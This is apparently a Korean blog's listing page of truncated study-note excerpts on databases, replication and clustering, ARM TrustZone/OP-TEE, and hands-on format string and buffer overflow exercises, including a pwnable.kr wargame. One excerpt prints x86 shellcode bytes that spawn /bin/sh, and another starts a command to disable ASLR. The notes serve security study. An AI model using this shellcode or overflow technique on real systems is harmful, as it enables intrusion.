TL
-
데이터베이스 첫걸음 chapter 1. 🍉 데이터베이스의 기본 기능 🥥 데이터의 검색과 갱신 데이터베이스의 가장 중요한 기능은 원하는 데이터를 찾는 검색이다. 키워드를 통해 검색을 수행할 수단으로 관련 데이터를 추출해낼 수 있어야 한다. 🍑 넓은 의미에서 갱신은 등록/수정/제거 데이터베이스는 새로운 데이터를 등록하고 기존 데이터를 수정하며 불필요한 데이터를 제거할 수 있어야 한다. 이 세가지 기능을 통틀어 갱신 이라고 한다. 혹은 기존 데이터 수정 만을 의미할 때도 있다. 🍑 데이터 포맷에 유의한다 데이터베이스를 조작할 때 가장 중요한 것은 데이터를 어떤 포맷(형식)으로 관리하는가, 검색이나 갱신에서 효율적인가 등의 문제이다. 예를 들면 고유성(Uniqueness)를 준수해야 한다 등이 있다. 🍑 처리 ..
21/09/08 TL. 데이터베이스의 기본 기능과 종류데이터베이스 첫걸음 chapter 1. 🍉 데이터베이스의 기본 기능 🥥 데이터의 검색과 갱신 데이터베이스의 가장 중요한 기능은 원하는 데이터를 찾는 검색이다. 키워드를 통해 검색을 수행할 수단으로 관련 데이터를 추출해낼 수 있어야 한다. 🍑 넓은 의미에서 갱신은 등록/수정/제거 데이터베이스는 새로운 데이터를 등록하고 기존 데이터를 수정하며 불필요한 데이터를 제거할 수 있어야 한다. 이 세가지 기능을 통틀어 갱신 이라고 한다. 혹은 기존 데이터 수정 만을 의미할 때도 있다. 🍑 데이터 포맷에 유의한다 데이터베이스를 조작할 때 가장 중요한 것은 데이터를 어떤 포맷(형식)으로 관리하는가, 검색이나 갱신에서 효율적인가 등의 문제이다. 예를 들면 고유성(Uniqueness)를 준수해야 한다 등이 있다. 🍑 처리 ..
2021.09.08 -
리플리케이션 : 여러 db를 권한에 따라 수직적으로 연결한다. Master는 쓰기 작업만 하고, Slave는 읽기 작업만 처리한다. Master와 Slave간 데이터 무결성 검사(검색한 데이터가 원하는 데이터인지 검사)를 하지 않는 비동기 방식으로 노드들 간의 데이터를 동기화한다. - 장점 : select 성능을 높일 수 있고, 지연 시간이 없다. - 단점 : 노드들 간 데이터 동기화가 보장되지 않아 일관성 있는 데이터를 얻지 못할 수 있다. Master 노드가 다운되면 복구 및 대처가 까다롭다. 클러스터링 : 여러 개의 DB를 수평적인 구조로 구축하는 방식이다. failover 시스템을 구축하기 위해 사용된다. 노드들 간 데이터를 동기화한다. db들 간 무결성 검사를 하는 동기 방식으로 데이터를 동기화..
21/08/09 TL. db 리플리케이션 vs 클러스터링. GTID리플리케이션 : 여러 db를 권한에 따라 수직적으로 연결한다. Master는 쓰기 작업만 하고, Slave는 읽기 작업만 처리한다. Master와 Slave간 데이터 무결성 검사(검색한 데이터가 원하는 데이터인지 검사)를 하지 않는 비동기 방식으로 노드들 간의 데이터를 동기화한다. - 장점 : select 성능을 높일 수 있고, 지연 시간이 없다. - 단점 : 노드들 간 데이터 동기화가 보장되지 않아 일관성 있는 데이터를 얻지 못할 수 있다. Master 노드가 다운되면 복구 및 대처가 까다롭다. 클러스터링 : 여러 개의 DB를 수평적인 구조로 구축하는 방식이다. failover 시스템을 구축하기 위해 사용된다. 노드들 간 데이터를 동기화한다. db들 간 무결성 검사를 하는 동기 방식으로 데이터를 동기화..
2021.08.09 -
root 권한에서 모든 권한을 쥐고 있기 때문에, root 권한을 얻게 되면 공격자가 마음대로 control할 수 있게 된다. 이러한 취약점 때문에 OS도 믿지 못한다는 관점이 나왔고, HW를 OS가 존재하는 Normal World(REE)와 보안적으로 접근할 수 없는 보안 영역 Secure World(TEE)로 나누게 되었다. REE(Rich Execution Environment)) : 일반적인 실행 환경 TEE (Trusted Execution Environment) : 보안 기능을 보호하고 신뢰된 코드만을 실행하는 공간. REE와 분리된 독립된 공간이다. Normal World에서 Secure Worl로 접근하기 위해서는 다음과 같은 수단을 필요로 한다. TZASC - DRAM(memory) TZ..
21/04/15 TL. OPTEEroot 권한에서 모든 권한을 쥐고 있기 때문에, root 권한을 얻게 되면 공격자가 마음대로 control할 수 있게 된다. 이러한 취약점 때문에 OS도 믿지 못한다는 관점이 나왔고, HW를 OS가 존재하는 Normal World(REE)와 보안적으로 접근할 수 없는 보안 영역 Secure World(TEE)로 나누게 되었다. REE(Rich Execution Environment)) : 일반적인 실행 환경 TEE (Trusted Execution Environment) : 보안 기능을 보호하고 신뢰된 코드만을 실행하는 공간. REE와 분리된 독립된 공간이다. Normal World에서 Secure Worl로 접근하기 위해서는 다음과 같은 수단을 필요로 한다. TZASC - DRAM(memory) TZ..
2021.04.16 -
FSB를 이용한 공격을 수행해 본다. 그 전에 printf()를 호출하기 직전에 Stack에 저장되는 구조를 알아야 한다. #include int main(){ int a=10; int b=20; printf("A:%d, B:%d and B's address: %08x\n",a,b,&b); return 0; } 포맷스트링이란 변수의 출력 형태를 결정하는 것이다. %d : 10진수, %u : 부호 없는 정수, %x : 16진수, %p : 주소출력, %c : 1byte(문자 하나), %s : 문자열(a에 대한 주소부터 0x0까지), %l = 8byte 다음과 같은 코드를 실행하면, A와 B의 값을 알려주고 B의 주소를 알려준다. 우선 이번에도 ASLR을 해제하자. 코드는 다음과 같다. sudo sysctl ..
21/04/04 TL. FSB를 이용한 공격FSB를 이용한 공격을 수행해 본다. 그 전에 printf()를 호출하기 직전에 Stack에 저장되는 구조를 알아야 한다. #include int main(){ int a=10; int b=20; printf("A:%d, B:%d and B's address: %08x\n",a,b,&b); return 0; } 포맷스트링이란 변수의 출력 형태를 결정하는 것이다. %d : 10진수, %u : 부호 없는 정수, %x : 16진수, %p : 주소출력, %c : 1byte(문자 하나), %s : 문자열(a에 대한 주소부터 0x0까지), %l = 8byte 다음과 같은 코드를 실행하면, A와 B의 값을 알려주고 B의 주소를 알려준다. 우선 이번에도 ASLR을 해제하자. 코드는 다음과 같다. sudo sysctl ..
2021.04.04 -
공격자들은 악성코드를 심기 위해 shell을 띄우는 작업을 많이 한다. #include #include unsigned char code[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; // 25byte shellcode // “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80” => 24byte shellcode // “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x5..
21/03/28 TL. BOF를 이용한 공격(2)공격자들은 악성코드를 심기 위해 shell을 띄우는 작업을 많이 한다. #include #include unsigned char code[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; // 25byte shellcode // “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80” => 24byte shellcode // “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x5..
2021.03.28 -
overflow를 이용한 공격을 해보자. pwnable.kr/play.php http://pwnable.kr/play.php pwnable.kr 해당 링크에 들어가보자. 이 링크에선 해킹 워게임을 진행해볼 수 있다. 이번에 해볼 공격은 overflow를 이용한 것인데, 기본적으로 메모리, 스택 등 OS적인 요소에 대한 선험적인 지식을 필요로 한다. 간단히 설명해 보자면, 스택 : 지역변수, 함수가 작동하기 위해 사용되는 메모리. 임시로 데이터를 저장해서 연산처리 하는 영역 힙 : 동적으로 할당되는 영역 ex)malloc bss : 초기화되지 않은 전역변수 text : 함수 data : 초기화된 전역변수 이다. 각 카드들 중 원하는 문제를 누르면, 지시사항을 준다. 여기서는 이 2개의 파일을 wget으로 ..
21/03/23 TL. BOF를 이용한 공격(1)overflow를 이용한 공격을 해보자. pwnable.kr/play.php http://pwnable.kr/play.php pwnable.kr 해당 링크에 들어가보자. 이 링크에선 해킹 워게임을 진행해볼 수 있다. 이번에 해볼 공격은 overflow를 이용한 것인데, 기본적으로 메모리, 스택 등 OS적인 요소에 대한 선험적인 지식을 필요로 한다. 간단히 설명해 보자면, 스택 : 지역변수, 함수가 작동하기 위해 사용되는 메모리. 임시로 데이터를 저장해서 연산처리 하는 영역 힙 : 동적으로 할당되는 영역 ex)malloc bss : 초기화되지 않은 전역변수 text : 함수 data : 초기화된 전역변수 이다. 각 카드들 중 원하는 문제를 누르면, 지시사항을 준다. 여기서는 이 2개의 파일을 wget으로 ..
2021.03.23